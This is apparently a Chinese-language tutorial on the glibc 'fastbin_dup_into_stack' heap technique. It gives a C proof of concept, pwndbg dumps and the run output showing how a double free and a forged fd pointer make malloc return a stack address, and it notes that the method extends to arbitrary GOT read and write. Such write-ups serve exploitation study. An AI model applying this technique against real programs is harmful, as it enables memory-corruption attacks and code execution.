fastbin_dup_into_stack

0x01 源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

0x02 理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
程序通用malloc了三个chunk,紧接着通过fastbin double free的操作形成了如下freelist。

Pwndbg> fastbins
fastbins
0x20:0x603000-▸0x603020◂-0x603000
0x30:0x0
0x40:0x0
0x50:0x0
0x60:0x0
0x70:0x0
0x80:0x0

unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

malloc chunk d

这个时候程序会从fastbins里取一个,由于fastbins是LIFO(Last in First out).chunk A会被取出使用。倘若我们这个时候能对chunk D进行操作,如d = (unsigned long long) (((char*)&stack_var) - sizeof(d));由于stack_var = 0x20;这样的定义是在函数内,所以stack_var的地址将在栈上,通过对指针d的操作,我们可以伪造一个chunk,并将这个chunk放在栈上。

Pwndbg> x/20a 0x603000
0x603000: 0x0 0x21
0x603010: 0x7fffffffe388 0x0
0x603020: 0x0 0x21
0x603030: 0x603000 0x0
0x603040: 0x0 0x21
0x603050: 0x0 0x0
0x603060: 0x0 0x20fa1
0x603070: 0x0 0x0
0x603080: 0x0 0x0
0x603090: 0x0 0x0
Pwndbg> x/20a 0x7fffffffe388
0x7fffffffe388: 0x40097c <main+758> 0x20
0x7fffffffe398: 0x603010 0x603030
0x7fffffffe3a8: 0x603050 0x603010
0x7fffffffe3b8: 0xc3e158ae04ceee00 0x4009a0 <__libc_csu_init>
0x7fffffffe3c8: 0x7ffff7a303f1 <__libc_start_main+241> 0x40000
0x7fffffffe3d8: 0x7fffffffe4a8 0x1f7b9a488
0x7fffffffe3e8: 0x400686 <main> 0x0
0x7fffffffe3f8: 0x4ffa6e8ae3316c56 0x400590 <_start>
0x7fffffffe408: 0x7fffffffe4a0 0x0
0x7fffffffe418: 0x0 0xb00591f537d16c56
Pwndbg> stack 10
00:0000│ rsp 0x7fffffffe390 ◂— 0x20 /* ' ' */
01:0008│ 0x7fffffffe398 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
02:0010│ 0x7fffffffe3a0 —▸ 0x603030 —▸ 0x603000 ◂— 0x0
03:0018│ 0x7fffffffe3a8 —▸ 0x603050 ◂— 0x0
04:0020│ 0x7fffffffe3b0 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
05:0028│ 0x7fffffffe3b8 ◂— 0xc3e158ae04ceee00
06:0030│ rbp 0x7fffffffe3c0 —▸ 0x4009a0 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│ 0x7fffffffe3c8 —▸ 0x7ffff7a303f1 (__libc_start_main+241) ◂— mov edi, eax
08:0040│ 0x7fffffffe3d0 ◂— 0x40000
09:0048│ 0x7fffffffe3d8 —▸ 0x7fffffffe4a8 —▸ 0x7fffffffe6ea ◂— 0x77732f656d6f682f ('/home/sw')

stack_var = 0x20; 是由于伪造的chunk要由设置size,size的位置位于地址-0x8的地方。

运行结果

This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7fff02a085c8.
Allocating 3 buffers.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
3rd malloc(8): 0x146b050
Freeing the first one...
If we free 0x146b010 again, things will crash because 0x146b010 is at the top of the free list.
So, instead, we'll free 0x146b030.
Now, we can free 0x146b010 again, since it's not the head of the free list.
Now the free list has [ 0x146b010, 0x146b030, 0x146b010 ]. We'll now carry out our attack by modifying data at 0x146b010.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
Now the free list has [ 0x146b010 ].
Now, we have access to 0x146b010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x146b010 to point right before the 0x20.
3rd malloc(8): 0x146b010, putting the stack address on the free list
4th malloc(8): 0x7fff02a085c8

最后效果如上,我们发现当chunk a被拿出来后,由于我们伪造了chunk a的fd,造成如下效果。

Pwndbg> fastbins
fastbins
0x20:0x603000-▸0x7fffffffe388-▸0x603010◂-0x0
0x30:0x0
0x40:0x0
0x50:0x0
0x60:0x0
0x70:0x0
0x80:0x0

这个时候形成如上的链表结构,这个时候当我们再malloc一块内存的时候,系统会误以为是我们假的chunk是自的的。他会把这块chunk拿出来用。

Pwndbg> heap
Top Chunk: 0x603060
Last Remainder: 0

0x603000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x7fffffffe388,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x603020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x603000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}

小结:对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。如果我们把这个地址指向 got 地址,如果我们可对 chunk 进行写或者读操作,我们就有了任意地址写 和 任意地址读。
0%